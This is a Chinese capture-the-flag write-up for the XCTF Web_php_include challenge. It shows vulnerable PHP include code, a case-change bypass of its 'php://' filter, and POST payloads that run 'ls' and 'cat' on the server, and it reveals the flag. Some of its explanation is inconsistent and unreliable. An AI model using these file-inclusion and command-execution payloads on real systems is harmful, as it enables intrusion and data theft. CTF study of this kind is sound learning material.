攻防世界Web_php_include题解
目录
题目地址:Web_php_include
打开场景后,是index.php
的源码:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
大概解读一下,首先获取参数hello
并将其值输出,然后获取page
参数的值,接着如果page
参数中如果包含php://
子串,则将其替换,直至不再包含该子串;然后将替换后的参数值作为文件名,将其文件引入到index.php
中。
思路:二话不说,先用御剑扫描工具扫一下,看看有哪些可以访问的,然后发现一个后台登录地址,原本想爆破密码的,但是想了想,题目是说include
,所以应该不是爆破密码。
应该还是从源码中的include
下手,当然了我们得先绕过替换字符串的代码,我们可以用大写的PHP
进行代替php
,然后我又去搜了一下php include
漏洞,发现还真不少,其中有一个比较适合:
以POST
方式提交代码片段:
index.php?file=php://input
POST:
<? phpinfo();?>
然后将会在 index.php
所在文件下的文件 shell.php
内增加 <?php phpinfo();?>
一句话
不过得有两个条件:
-
allow_url_include = On
-
对
allow_url_fopen
不做要求。
结合本题,我们应该构造下面的请求:
提交过后,果然在页面中获取了很多信息。
那我们看看当前目录下都有哪些文件吧:
<? system('ls');?>
然后我们发现了一个文件:fl4gisisish3r3.php
好!我们输出看一下里边的内容:
<? system('cat fl4gisisish3r3.php');?>
果然获取了flag
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
黑帽白帽,就在一念之间!
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!
历史评论
开始评论